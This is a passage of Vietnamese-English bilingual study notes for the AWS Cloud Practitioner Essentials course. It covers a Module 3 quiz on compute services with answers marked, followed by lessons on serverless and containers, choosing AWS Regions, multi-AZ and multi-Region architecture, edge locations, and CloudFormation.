câu đúng) để vượt qua module này. Số lần làm lại: Không giới hạn Chúc may mắn! 🍀 ## Question 01/08 ### English 🇺🇸 What is the customer responsible for managing in a serverless service like AWS Lambda? - ✅ The application code ← Correct - ❌ The operating system, network configuration, and application stack - ❌ Nothing—AWS manages everything - ❌ The physical servers and networking hardware Explanation: With serverless services like Lambda, customers are responsible for the application code. AWS manages the infrastructure, scaling, and availability. ### Tiếng Việt 🇻🇳 Khách hàng chịu trách nhiệm quản lý điều gì trong một serverless service như AWS Lambda? - ✅ Application code ← Đúng - ❌ Operating system, network configuration, và application stack - ❌ Không có gì—AWS quản lý tất cả - ❌ Physical servers và networking hardware Giải thích: Với serverless services như Lambda, khách hàng chịu trách nhiệm cho application code. AWS quản lý infrastructure, scaling, và availability. ## Question 02/08 ### English 🇺🇸 A company is launching a containerized photo application and has built the container image, which needs to be stored securely. They plan to use Kubernetes for orchestration and prefer not to manage any servers. Which combination of AWS services BEST fits their needs? - ❌ Amazon Elastic Container Registry (Amazon ECR), Amazon Elastic Container Service (Amazon ECS), and Amazon EC2 - ❌ Amazon Elastic Container Registry (Amazon ECR), AWS Lambda, and Amazon EC2 - ✅ Amazon Elastic Container Registry (Amazon ECR), Amazon Elastic Kubernetes Service (Amazon EKS), and AWS Fargate ← Correct - ❌ Amazon S3, Amazon Elastic Container Service (Amazon ECS), and Amazon EC2 Explanation: Amazon ECR stores container images, Amazon EKS handles Kubernetes orchestration, and AWS Fargate runs containers without server management. This combination offers seamless orchestration with no infrastructure maintenance. ### Tiếng Việt 🇻🇳 Một công ty đang launch một containerized photo application và đã build container image, cần được lưu trữ securely. Họ có kế hoạch sử dụng Kubernetes cho orchestration và prefer không quản lý bất kỳ servers nào. Sự kết hợp nào của AWS services PHÙ HỢP NHẤT với nhu cầu của họ? - ❌ Amazon Elastic Container Registry (Amazon ECR), Amazon Elastic Container Service (Amazon ECS), và Amazon EC2 - ❌ Amazon Elastic Container Registry (Amazon ECR), AWS Lambda, và Amazon EC2 - ✅ Amazon Elastic Container Registry (Amazon ECR), Amazon Elastic Kubernetes Service (Amazon EKS), và AWS Fargate ← Đúng - ❌ Amazon S3, Amazon Elastic Container Service (Amazon ECS), và Amazon EC2 Giải thích: Amazon ECR lưu trữ container images, Amazon EKS xử lý Kubernetes orchestration, và AWS Fargate chạy containers mà không cần server management. Sự kết hợp này cung cấp seamless orchestration mà không cần infrastructure maintenance. ## Question 03/08 ### English 🇺🇸 A freelance developer is building a blog for a client with minimal traffic. They want a basic, cost-effective solution that includes storage and compute in one package, without having to deal with complex configurations or scaling concerns. Which AWS service is the BEST fit? - ✅ Amazon Lightsail ← Correct - ❌ AWS Lambda - ❌ AWS Fargate - ❌ AWS Batch Explanation: Lightsail is great for small projects like blogs and basic websites, and it offers predictable pricing and ease of use. ### Tiếng Việt 🇻🇳 Một freelance developer đang xây dựng một blog cho client với minimal traffic. Họ muốn một basic, cost-effective solution bao gồm storage và compute trong một package, mà không cần xử lý complex configurations hoặc scaling concerns. AWS service nào PHÙ HỢP NHẤT? - ✅ Amazon Lightsail ← Đúng - ❌ AWS Lambda - ❌ AWS Fargate - ❌ AWS Batch Giải thích: Lightsail tuyệt vời cho các projects nhỏ như blogs và basic websites, và nó cung cấp predictable pricing và ease of use. ## Question 04/08 ### English 🇺🇸 Which scenario is the BEST fit for using AWS Lambda? - ❌ Running a large, high-performance computing workload that takes several hours to complete - ✅ Automatically processing images as users upload them to an Amazon S3 bucket ← Correct - ❌ Running a relational database that needs complex queries and frequent connections - ❌ Hosting a high-traffic web server that requires full control over the operating system (OS) Explanation: Lambda is perfect for this event-driven use case. It can run code in response to uploads and scale automatically based on the number of events. ### Tiếng Việt 🇻🇳 Scenario nào PHÙ HỢP NHẤT cho việc sử dụng AWS Lambda? - ❌ Chạy một large, high-performance computing workload mất vài giờ để hoàn thành - ✅ Tự động xử lý hình ảnh khi users upload chúng vào một Amazon S3 bucket ← Đúng - ❌ Chạy một relational database cần complex queries và frequent connections - ❌ Hosting một high-traffic web server yêu cầu full control over operating system (OS) Giải thích: Lambda hoàn hảo cho event-driven use case này. Nó có thể chạy code để phản ứng với uploads và scale tự động dựa trên số lượng events. ## Question 05/08 ### English 🇺🇸 A development team at an e-commerce company is working on a new website. The application runs fine on their local machines, but when they attempt to deploy it to a staging environment, it does not work as expected. The team wants to make sure that the application runs consistently across all development, testing, and production environments going forward. Which solution should the team use to make sure that the application runs the same across all environments? - ❌ Use Amazon EC2 to manually recreate the development environment. - ❌ Set up separate environments for each operating system. - ❌ Use different versions of the applications for different environments. - ✅ Package the application in a container that includes all dependencies. ← Correct Explanation: Containers bundle the application, runtime, and dependencies together, providing consistency across all environments from development to production. ### Tiếng Việt 🇻🇳 [… phần còn lại đã lược bớt] ============================================================================ # M03.06 - Module 3 Summary URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/module-3-summary Source: docs/07-aws-cloud-practitioner-essentials/03-exploring-compute-services/06.module-3-summary.md Description: Tổng kết Module 3 - Exploring Compute Services. Ôn tập lại các khái niệm về serverless computing, AWS Lambda, containers, orchestration services, và các additional compute services. Tìm hiểu các bước tiếp theo và tài nguyên học tập. Tags: aws, serverless, lambda, containers, ecs, eks, ecr, fargate, aws-cloud-practitioner, module-summary, recap, next-steps, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/exploring-compute-services/module-3-summary Chúc mừng bạn đã hoàn thành Module 3 - Exploring Compute Services! 🎉 Module này đã cung cấp cho bạn hiểu biết thực tế về AWS compute services, để bạn có thể chọn đúng tools cho applications của mình. Bạn đã học khi nào sử dụng fully managed options như Lambda hoặc Fargate, và khi nào full control với Amazon EC2 có ý nghĩa. Bạn đã khám phá cách containers giải quyết vấn đề deployment consistency và cách AWS services, như Amazon ECS và Amazon EKS, đơn giản hóa việc quản lý và scaling containerized applications. Bạn cũng đã khám phá các services như Elastic Beanstalk, AWS Batch, Lightsail, và Outposts, và cách mỗi service hỗ trợ specific use cases, từ basic web hosting đến large-scale batch processing hoặc hybrid cloud environments. ## 📚 Tổng kết nội dung đã học ### 1. Introduction to Serverless Computing Serverless Computing: > Serverless computing cho phép bạn chạy applications mà không cần quản lý underlying infrastructure. AWS quản lý tất cả provisioning, scaling, và maintenance. Các mức độ Service Management: - Unmanaged Services (ví dụ: Amazon EC2): Full control, bạn quản lý OS, patches, scaling - Managed Services (ví dụ: ELB, SNS, SQS): AWS quản lý infrastructure, bạn cấu hình service - Fully-Managed/Serverless Services (ví dụ: AWS Lambda): AWS quản lý tất cả, bạn chỉ focus vào code Shared Responsibility Model: - Với serverless, bạn chỉ chịu trách nhiệm cho application code - AWS quản lý infrastructure, scaling, availability, và security ### 2. AWS Lambda AWS Lambda: > Lambda là một serverless compute service chạy code để phản ứng với events mà không cần provision hoặc quản lý servers. Key Components: - Lambda Functions: Code được đóng gói và deploy - Triggers: Events khởi động functions (S3, SQS, API Gateway, v.v.) - Runtimes: Language-specific environments (Java, Python, Node.js, v.v.) - Automatic Scaling: Tự động scale dựa trên số lượng requests Use Cases: - Real-time image processing - Event-driven applications - Automated workflows - Microservices architectures Benefits: - ✅ Pay only for compute time used (millisecond billing) - ✅ Automatic scaling - ✅ No server management - ✅ High availability ### 3. Containers and Orchestration on AWS Containers: > Containers package application và tất cả dependencies thành một single, portable unit, đảm bảo consistency across environments. Containers vs VMs: - Containers: Chia sẻ host OS, nhẹ hơn, khởi động nhanh hơn - VMs: Mỗi VM có Guest OS riêng, resource-intensive hơn AWS Container Services: 1. Amazon ECS (Elastic Container Service) - Container orchestration service của AWS - Launch types: EC2 hoặc Fargate - Streamlined và integrated với AWS 2. Amazon EKS (Elastic Kubernetes Service) - Fully managed Kubernetes service - Launch types: EC2 hoặc Fargate - Kubernetes flexibility và control 3. Amazon ECR (Elastic Container Registry) - Container registry để lưu trữ và quản lý images - OCI-compliant images - Integration với ECS và EKS 4. AWS Fargate - Serverless compute engine cho containers - Không cần quản lý servers - Works với ECS và EKS Benefits của Containers: - ✅ Deployment consistency - ✅ Portability - ✅ Resource efficiency - ✅ Faster start times ### 4. Additional Compute Services AWS Elastic Beanstalk: - Fully managed service để deploy và scale web applications - Automatic infrastructure provisioning - Multi-language support - Full control over underlying resources AWS Batch: - Fully managed service cho large-scale batch computing - Automatic resource management và scaling - Use cases: Scientific computing, financial analysis, ML training Amazon Lightsail: - Simplified VPS service với predictable pricing - All-in-one solution (VPS, storage, databases, networking) - Ideal cho small businesses và developers AWS Outposts: - Hybrid cloud solution - Extends AWS services đến on-premises - Consistent experience across environments - Low latency và data residency ## 🎯 Key Takeaways 1. Serverless Computing cho phép focus vào code, không phải infrastructure 2. AWS Lambda lý tưởng cho event-driven, short-duration tasks 3. Containers giải quyết deployment consistency issues 4. Container Orchestration (ECS/EKS) đơn giản hóa việc quản lý containers ở scale 5. Fargate cung cấp serverless compute cho containers 6. Purpose-built Services (Beanstalk, Batch, Lightsail, Outposts) hỗ trợ specific use cases ## 🚀 Next Steps Bây giờ bạn đã hiểu về các compute services của AWS, bạn có thể: 1. Thực hành với AWS Console - Tạo Lambda functions - Deploy containers với ECS hoặc EKS - Sử dụng Elastic Beanstalk để deploy web applications 2. Khám phá các services khác - Module 4: Going Global - Networking services - Storage services 3. Xây dựng applications - Kết hợp Lambda với các AWS services - Deploy containerized applications - Sử dụng serverless architectures 4. Tối ưu hóa costs - Chọn đúng service cho use case - Sử dụng serverless cho event-driven workloads - Leverage containers cho consistency ## 📖 Resources Để tìm hiểu thêm về các tài liệu được đề cập trong module này, hãy chọn các resource links trong bảng sau: [… phần còn lại đã lược bớt] ============================================================================ # M04.01 - Introduction to Going Global URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/introduction-to-going-global Source: docs/07-aws-cloud-practitioner-essentials/04-going-global/01.introduction-to-going-global.md Description: Giới thiệu về AWS Global Infrastructure và các khái niệm cơ bản về going global. Tìm hiểu cách chọn AWS Regions, giá trị của edge locations, và cách sử dụng AWS CloudFormation để streamline và automate deployment. Tags: aws, global-infrastructure, regions, availability-zones, edge-locations, cloudformation, infrastructure-as-code, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/introduction-to-going-global Bạn đã được giới thiệu về một số foundational elements của AWS Global Infrastructure, chẳng hạn như AWS Regions và Availability Zones (AZs). Trong các bài học tiếp theo, bạn sẽ học thêm về AWS infrastructure. Các concepts được cover trong các bài học này bao gồm cách chọn một Region, giá trị của edge locations, và cách sử dụng services như AWS CloudFormation để streamline và automate deployment. Ngoài việc đạt được high availability, các components này của AWS Global Infrastructure có thể giúp business của bạn đạt được benefits như elasticity và agility. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Ôn tập lại các basic components của AWS Global Infrastructure - ✅ Hiểu cách coffee shop analogy đại diện cho các elements của AWS Global Infrastructure - ✅ Nhận biết các factors cần xem xét khi chọn AWS Regions - ✅ Hiểu giá trị của edge locations - ✅ Nhận biết cách infrastructure as code giúp automate deployments ## Coffee Shop Expansion - Going International Coffee shop đang phát triển mạnh. Trong thực tế, shop đã có được một following khá lớn, và bây giờ chúng ta đang nghĩ đã đến lúc mở rộng. Đúng vậy. Tin tức nóng: coffee shop đang going international. Khi shop lên kế hoạch mở rộng, có một số considerations cần ghi nhớ. Đầu tiên, chúng ta cần quyết định nơi mở các locations mới. Chúng ta muốn tiếp cận coffee lovers ở các phần khác nhau của thế giới, nhưng chúng ta cũng cần xem xét các factors như local demand, regulations, và costs. Điều này giống như trong AWS, khi bạn đang mở rộng globally, có một số factors cần xem xét khi selecting AWS Regions. Trong các bài học sắp tới, bạn sẽ học tất cả về những gì đi vào việc chọn một Region hoặc một bộ Regions. ## Going Global với AWS Infrastructure Coffee shop đang mở rộng đến global locations. Hãy điều hướng qua nội dung sau để xem lại cách các elements của coffee shop expansion đại diện cho các phần khác nhau của AWS Global Infrastructure. ### How to Choose a Region or Set of Regions Nếu chúng ta mở rộng coffee shop bằng cách mở các locations mới, sẽ có nhiều thứ cần xem xét, như customer demand và development cost. Tương tự, bạn có một số factors cần xem xét khi selecting một Region hoặc một bộ Regions cho real-life resources của mình. Các factors cần xem xét khi chọn AWS Regions: - 📍 Proximity to customers: Gần khách hàng để giảm latency - 💰 Cost: Pricing khác nhau giữa các Regions - 📋 Compliance: Yêu cầu về data residency và regulations - 🎯 Service availability: Không phải tất cả services đều có sẵn ở mọi Region - ⚡ Performance: Latency và throughput requirements ### AWS Edge Locations Giống như coffee franchise của chúng ta có thể mở rộng với các phiên bản nhỏ hơn của shop như mobile coffee carts, AWS có các facilities nhỏ hơn được gọi là edge locations. Edge locations cache các items như images, videos, và các resources khác, để users có thể truy cập content họ cần với lower latency. Bước tiếp theo của coffee shop expansion plan là chúng ta muốn mở một số phiên bản nhẹ, smaller footprint của shop được gọi là coffee carts. Chúng ta sẽ thiết lập chúng ở những nơi như farmers markets, airports, và event venues. Chúng sẽ không phục vụ mọi đồ uống hoặc item trên menu, nhưng chúng có thể cung cấp các items phổ biến nhất một cách nhanh chóng và hiệu quả. Những coffee carts này tương tự như cách AWS edge locations hoạt động. Edge locations cung cấp: - ⚡ Fast, localized delivery của content được truy cập thường xuyên nhất - 💾 Cache images, videos, và các assets và resources khác - 🌍 Cho phép users nhận content họ cần nhanh chóng, mà không cần đợi nó được retrieve từ một central location Bạn sẽ học thêm về những điều này sớm. ### Infrastructure as Code và CloudFormation Một consideration quan trọng khác của coffee shop expansion sẽ là duy trì một sản phẩm nhất quán từ location đến location. AWS có services, chẳng hạn như CloudFormation, mà bạn có thể sử dụng để giúp automate deployment của cloud resources. Các services này sử dụng infrastructure as code, hoặc IaC, giúp bạn đạt được một setup nhất quán, đáng tin cậy mỗi khi business của bạn phát triển. Cuối cùng, shop của chúng ta muốn standardize và automate processes để chúng ta có thể giữ customer satisfaction nhất quán. Không quan trọng shop hoặc coffee cart nào customer đến thăm, chúng ta muốn họ có cùng trải nghiệm tuyệt vời. Chúng ta sẽ train staff trên cùng recipes và sử dụng smart coffee machines có thể được lập trình từ xa và replicate đến tất cả các locations khác nhau, đảm bảo rằng một cappuccino ở Stockholm có vị giống như một cái ở Seattle. Tương tự, AWS có infrastructure để giúp businesses scale một cách có trách nhiệm và nhất quán. Trong phần này, bạn sẽ khám phá cách đạt được consistent deployments trên environments và global deployments sử dụng infrastructure as code, cụ thể tập trung vào AWS CloudFormation. ## Tổng quan về Module 4 Đến cuối phần này, bạn sẽ có hiểu biết sâu sắc về ins and outs của AWS Global Infrastructure, giúp bạn đạt được robust, scalable, và globally available applications. Vì vậy, hãy lấy tách cà phê của bạn, và hãy cùng đi sâu vào. Trong Module 4, bạn sẽ học về: 1. Choosing AWS Regions: Các factors cần xem xét khi chọn Regions 2. Diving Deeper into AWS Global Infrastructure: Chi tiết về Regions, Availability Zones, và edge locations 3. Infrastructure and Automation: Sử dụng AWS CloudFormation cho infrastructure as code ## Key Concepts Preview ### AWS Regions và Availability Zones Bạn đã được giới thiệu về AWS Regions và Availability Zones trong Module 1. Trong Module 4, bạn sẽ đi sâu hơn vào cách chọn và sử dụng chúng hiệu quả. ### Edge Locations Edge locations là các facilities nhỏ hơn của AWS được thiết kế để cache content và giảm latency cho end users. Chúng là một phần quan trọng của AWS Global Infrastructure. ### Infrastructure as Code (IaC) Infrastructure as Code cho phép bạn define và manage infrastructure bằng code, giúp automate deployments và đảm bảo consistency across environments. ## Tóm tắt Trong bài học này, bạn đã được giới thiệu về: [… phần còn lại đã lược bớt] ============================================================================ # M04.02 - Choosing AWS Regions URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/choosing-aws-regions Source: docs/07-aws-cloud-practitioner-essentials/04-going-global/02.choosing-aws-regions.md Description: Tìm hiểu cách chọn AWS Region phù hợp cho business needs của bạn. Khám phá 4 yếu tố chính: Compliance, Proximity, Feature availability, và Pricing. Hiểu về data isolation và regulatory requirements khi chọn Regions. Tags: aws, regions, compliance, proximity, feature-availability, pricing, data-sovereignty, gdpr, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/choosing-aws-regions Đến thời điểm này, bạn đã quen thuộc với một số basics của AWS Global Infrastructure bao gồm Regions. Nhưng làm thế nào để bạn chọn đúng Region cho specific business needs của mình? Trong bài học này, bạn sẽ tìm hiểu về các considerations để selecting một Region hoặc một bộ Regions. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả cách chọn một Region - ✅ Hiểu về data isolation giữa các Regions - ✅ Xác định 4 key factors khi chọn AWS Regions: Compliance, Proximity, Feature availability, và Pricing - ✅ Áp dụng các considerations này vào real-world scenarios ## AWS Regions: Nhiều Lựa Chọn Một trong những phần tốt nhất về AWS Global Infrastructure là bạn có nhiều options khi nói đến việc AWS Region, hoặc Regions, bạn deploy resources của mình. Trước khi chúng ta nói về những gì factors vào business decision này, tôi muốn đề cập đến một security aspect quan trọng của AWS Regions. ### Data Isolation giữa các Regions Mỗi Region được isolated khỏi mọi Region khác, theo nghĩa là không có data nào đi vào hoặc ra khỏi environment của bạn trong Region đó mà không có bạn explicitly granting permission cho data đó được di chuyển. Đây là một điều tốt! Tùy thuộc vào loại business bạn đang làm việc và nơi bạn hoạt động, bạn có thể phải tuân thủ các compliance regulations cụ thể yêu cầu data của bạn phải ở lại trong một geographical area. Ví dụ, nếu bạn đang làm việc với financial information ở Frankfurt, local data governance laws quy định rằng financial data này không thể rời khỏi Germany. Data được lưu trữ trong một AWS Region phải tuân theo local laws và statutes của quốc gia nơi Region đó tồn tại. ## 4 Key Considerations khi Chọn AWS Regions Khi chọn AWS Regions, có 4 factors chính bạn cần xem xét: ### 1. Compliance (Tuân thủ) Compliance là consideration quan trọng nhất khi selecting Regions để deploy business resources. Trước bất kỳ factors nào khác, bạn phải xem xét compliance requirements của mình trước. Các ví dụ về compliance requirements: - 📋 Data residency requirements: Yêu cầu data phải ở trong một geographical boundary cụ thể - 🇪🇺 GDPR (General Data Protection Regulation): Bảo vệ personal data và privacy của individuals trong European Union (EU) - 🇬🇧 UK data governance: Nếu bạn có requirement rằng data của bạn phải sống trong UK boundaries, thì bạn nên chọn London Region - 🇨🇳 Chinese borders: Nếu bạn phải chạy trong Chinese borders, bạn nên chọn một trong các Regions nằm ở China Ví dụ thực tế: Một online retail company hoạt động trong EU sẽ được yêu cầu đáp ứng GDPR compliance để bảo vệ customer data. GDPR compliance bao gồm: - ✅ Obtaining proper consent cho data collection - ✅ Providing mechanisms cho data access và deletion - ✅ Đảm bảo data không rời khỏi EU boundaries mà không có proper authorization Quyết định: - Nếu bạn có compliance hoặc regulatory control quy định Region của bạn, thì choice khá straightforward. None of the other options really matter. - Nếu bạn không có compliance requirements nghiêm ngặt, thì bạn có thể xem xét các factors khác. ### 2. Proximity (Gần gũi) Proximity đề cập đến việc bạn gần customer base của mình như thế nào. Đây là một major factor vì nó ảnh hưởng trực tiếp đến latency và user experience. Tại sao Proximity quan trọng: - ⚡ Low latency: Regions gần user base của bạn minimize data travel time, giảm latency và enhance application responsiveness - 🌍 User satisfaction: Chọn một Region hoặc một bộ Regions xa hơn từ customers có thể introduce delays, có thể impact user satisfaction và overall system efficiency - 📍 Geographic distribution: Nếu hầu hết customers của bạn sống ở Singapore, hãy xem xét chạy từ Singapore Region Ví dụ: Bạn có thể chắc chắn chạy từ Virginia, nhưng thời gian để information được gửi, hoặc latency, giữa US và Singapore sẽ luôn là một factor. ### 3. Feature Availability (Tính khả dụng của Tính năng) Feature availability đề cập đến việc các specific features và services có sẵn trong mỗi Region. Đây là một consideration quan trọng vì không phải tất cả Regions đều chứa tất cả AWS offerings. Tại sao Feature Availability quan trọng: - 🚀 Constant innovation: AWS liên tục innovate thay mặt customers. Mỗi năm, AWS releases nhiều new features và products cụ thể để trả lời customer requests và needs - ⏱️ Rollout over time: Các features này được rolled out đến regions theo thời gian, vì vậy đây cũng là một consideration - 🏛️ Specialized Regions: Một số Regions có specialized features. Ví dụ: - AWS GovCloud Regions: Được thiết kế cụ thể để đáp ứng compliance và security requirements của US government agencies và contractors của họ - Các Regions này có stringent physical, operational, và personnel security controls - Các controls này chỉ có sẵn trong specific Regions để đáp ứng certain governmental regulatory requirements Ví dụ: Đôi khi Region gần nhất có thể không có tất cả AWS features bạn muốn. Đây là một trong những điều thú vị về AWS - chúng ta liên tục innovate, nhưng features được rollout theo thời gian. ### 4. Pricing (Giá cả) Pricing là một factor có thể influence decision của bạn khi selecting một Region. Một số Regions có operational costs thấp hơn những Regions khác. Các yếu tố ảnh hưởng đến Pricing: - 💰 Operational costs: Các operational costs này có thể impact overall expenses cho hosting applications và services - 📊 Tax laws và regulations: Tax laws và regulations cũng có thể đóng một vai trò trong cost. Một số Regions có thể offer tax incentives hoặc có lower tax rates, có thể affect customer pricing - 🌍 Data sovereignty laws: Data sovereignty laws trong certain Regions có thể yêu cầu data được stored locally, affecting cả compliance và cost - ⚡ Energy costs: Local energy costs cũng factor vào equation AWS Pricing Transparency: AWS có một pricing rất transparent, granular mà chúng ta sẽ tiếp tục thảo luận trong training này. Nhưng biết rằng mỗi Region có different numbers cho pricing. Ví dụ: Ngay cả khi services và features bằng nhau từ một Region đến Region tiếp theo, một số locations có cost effective hơn để operate so với những locations khác. ## Tóm tắt 4 Key Factors [… phần còn lại đã lược bớt] ============================================================================ # M04.03 - Diving Deeper into AWS Global Infrastructure URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/diving-deeper-into-aws-global-infrastructure Source: docs/07-aws-cloud-practitioner-essentials/04-going-global/03.diving-deeper-into-aws-global-infrastructure.md Description: Tìm hiểu sâu hơn về AWS Global Infrastructure, bao gồm multi-Region và multi-AZ deployments, edge locations, CloudFront, và AWS Outposts. Khám phá mối quan hệ giữa Regions, Availability Zones, và edge locations. Tags: aws, global-infrastructure, regions, availability-zones, edge-locations, cloudfront, outposts, high-availability, multi-region, multi-az, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/diving-deeper-into-aws-global-infrastructure Trong training này, bạn đã khám phá rằng deploying cloud resources across various AWS Regions increases high availability. High availability và fault tolerance có nghĩa là resources của bạn vẫn accessible và operational, ngay cả khi một outage xảy ra ở một trong các locations hosting resources của bạn. Trong bài học này, bạn sẽ học thêm về việc tạo highly available systems. Bạn cũng sẽ học về edge locations, một component quan trọng khác của AWS Global Infrastructure landscape. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả key benefits của việc sử dụng multiple Regions và Availability Zones - ✅ Định nghĩa edge locations - ✅ Mô tả và phân biệt giữa Regions, Availability Zones, và edge locations - ✅ Hiểu về high availability, agility, và elasticity - ✅ Nhận biết các services sử dụng edge locations như CloudFront ## Building Redundant Architectures Tại thời điểm này, bạn đã thấy cách user proximity, regulatory compliance, service availability, và thậm chí pricing có thể đóng vai trò là factor trong việc selecting một AWS Region. Khi nói đến infrastructure, bạn cũng muốn lên kế hoạch cho long-term stability và ít hoặc hầu như không có down time cho users của mình. Vì vậy, nếu infrastructure của bạn có một interruption, bạn có thể switch sang redundant hoặc backup infrastructure một cách seamless. Đây được gọi là building redundant architectures. ## Multi-Availability Zone (Multi-AZ) Architecture Một method cho redundancy là một architecture sử dụng multiple Availability Zones, hoặc AZs. Trong một multi-AZ architecture, nếu một AZ có interruption, không sao. Application của bạn sẽ automatically switch over sang backup AZ mà bạn đã configure. Thậm chí tốt hơn, nếu bạn set it up correctly, customers của bạn sẽ không nhận thấy sự khác biệt. Vì hãy thành thật, không ai muốn favorite meme site hoặc coffee shop app của họ bị down! ### Benefits của Multi-AZ Architecture Multi-AZ architectures có thể assist với: - ⚡ Quicker disaster recovery - Phục hồi thảm họa nhanh hơn - 🔄 Improved business continuity - Cải thiện tính liên tục kinh doanh - 📍 Lower latency - Độ trễ thấp hơn - ✅ Compliance - Tuân thủ các yêu cầu về compliance ## Multi-Region Architecture Nhưng như với bất cứ điều gì trên thế giới, có nhiều cách để peel an orange. Trong thực tế, bạn có thể đi một bước xa hơn và deploy application của bạn trong multiple AWS Regions. Vì vậy, nếu một whole Region experiences một interruption, bạn có thể failover sang một Region khác. [code mermaid] flowchart LR U["Users"] --> RA subgraph RA["Region A"] AZ1["AZ 1: application"] AZ2["AZ 2: backup"] AZ1 -.->|"AZ 1 gián đoạn"| AZ2 end subgraph RB["Region B"] AZ3["AZ 1: application"] AZ4["AZ 2: backup"] end RA -.->|"cả Region gián đoạn: failover"| RB [/code] Orange you glad you chose AWS as your cloud provider? 🍊 ### Multi-Region và Multi-AZ: Giống như Pinball Machine Một số bạn có thể nói, "Wait, wait, wait, Rudy, multi-Region và multi-AZ deployments? Điều này nghe giống như một loại pinball machine." Vâng, đúng vậy, nó chính xác giống như một pinball machine nhưng với multi-ball bonus. Ban đầu có thể khó để juggle multiple pinballs. Chúng đang di chuyển theo các hướng khác nhau, và bạn có thể stress về việc keep track of all of them. Tuy nhiên, một khi bạn đưa ra một strategy và bạn có một số experience, nó trở nên dễ dàng hơn nhiều. Vì vậy, đừng lo lắng quá nhiều về việc perfecting AWS global infrastructure của bạn ngay từ đầu. Giống như pinball, planning và executing multi-AZ và multi-Region deployments trở nên dễ dàng hơn sau khi bạn đã practice một chút. Who knows, một ngày nào đó bạn thậm chí có thể đạt được AWS infrastructure high score! 🎮 ## High Availability, Agility, và Elasticity Ngoài high availability, AWS Global Infrastructure cũng giúp bạn đạt được agility và elasticity cho business của mình. Hãy thảo luận về sự khác biệt giữa các advantages này: ### High Availability (Tính sẵn sàng cao) High availability đề cập đến khả năng của một system để operate continuously mà không fail. Trong context của AWS infrastructure, nó có nghĩa là applications của bạn có thể handle failure của individual components mà không có significant downtime. Đặc điểm: - ⚡ Continuous operation - Hoạt động liên tục - 🔄 Automatic failover - Tự động chuyển sang backup - 🛡️ Fault tolerance - Chịu lỗi ### Agility (Tính linh hoạt) Agility đề cập đến khả năng quickly adapt to changing requirements hoặc market conditions. Với AWS infrastructure tại chỗ, bạn có thể modify và deploy services rapidly. Đặc điểm: - 🚀 Rapid deployment - Triển khai nhanh chóng - 🔧 Quick modifications - Thay đổi nhanh chóng - 📈 Adapt to changes - Thích ứng với thay đổi ### Elasticity (Tính đàn hồi) Elasticity đề cập đến khả năng của một system để scale resources up hoặc down automatically để response to changes in demand. AWS infrastructure được set up để bạn scale resources up và down on demand. Đặc điểm: - 📊 Auto-scaling - Tự động mở rộng - 💰 Pay for what you use - Trả cho những gì bạn sử dụng - ⚖️ Balance resources - Cân bằng tài nguyên ## Deploying Multi-Region và Multi-AZ Resources Bạn đã học cách deploying cloud resources của bạn đến multiple Regions có thể đạt được high availability. Ngoài việc deploying đến multiple Regions, bạn cũng muốn deploy resources đến multiple Availability Zones. Bằng cách building redundant architectures hoặc replicating resources của bạn across multiple levels của AWS infrastructure, bạn có thể improve application reliability để users của bạn có access đến content của bạn khi họ cần. ## Edge Locations Ngoài AWS Regions chứa Availability Zones, AWS có một global edge network cung cấp quicker content access cho users bên ngoài standard Regions. Các edge locations này được strategically placed ở các areas như Atlanta, Georgia, USA hoặc Shanghai, China để provide low-latency access đến AWS services và content delivery. ### Đặc điểm của Edge Locations [… phần còn lại đã lược bớt] ============================================================================ # M04.04 - Infrastructure and Automation URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/infrastructure-and-automation Source: docs/07-aws-cloud-practitioner-essentials/04-going-global/04.infrastructure-and-automation.md Description: Tìm hiểu về Infrastructure as Code (IaC) và AWS CloudFormation. Khám phá các cách tương tác với AWS resources: Programmatic access, AWS Management Console, và Infrastructure as Code. Mô tả key features và benefits của CloudFormation. Tags: aws, cloudformation, infrastructure-as-code, iac, automation, aws-cli, aws-sdk, aws-console, aws-cloud-practitioner, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/going-global/infrastructure-and-automation Tại thời điểm này, bạn đã có hiểu biết vững chắc về basics của AWS infrastructure. Bạn biết sự khác biệt giữa Regions, Availability Zones, và edge locations. Bạn cũng nhận ra benefits của việc deploying resources đến multiple Regions, Availability Zones, hoặc cả hai, và bạn có thể bắt đầu đưa ra một số quyết định về Region hoặc Regions mà business của bạn sẽ chọn. Trong bài học này, bạn sẽ xem xét các methods để automating các loại deployments này. Infrastructure as code (IaC) tools như CloudFormation có thể giúp bạn scale resources của mình từ một location đến location khác với minimal effort. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả key features và benefits của CloudFormation - ✅ Xác định use cases cho programmatic access, AWS Management Console, và infrastructure as code - ✅ Hiểu về Infrastructure as Code (IaC) và cách nó hoạt động - ✅ So sánh các phương pháp tương tác với AWS resources ## Vấn đề với Manual Provisioning Bây giờ, bạn biết rằng để manage AWS resources, bạn phải interact với AWS APIs. Bạn đã học cách làm điều này bằng cách sử dụng Management Console, CLI, và SDKs. Nhưng điều gì xảy ra khi bạn cần create và manage multiple resources, có thể across multiple AWS Regions hoặc multiple accounts, và bạn muốn đảm bảo mọi thứ consistent và repeatable? Ví dụ thực tế: Giả sử bạn có resources trong Region A, và bạn muốn launch chúng trong Region B cho high availability. Bạn có 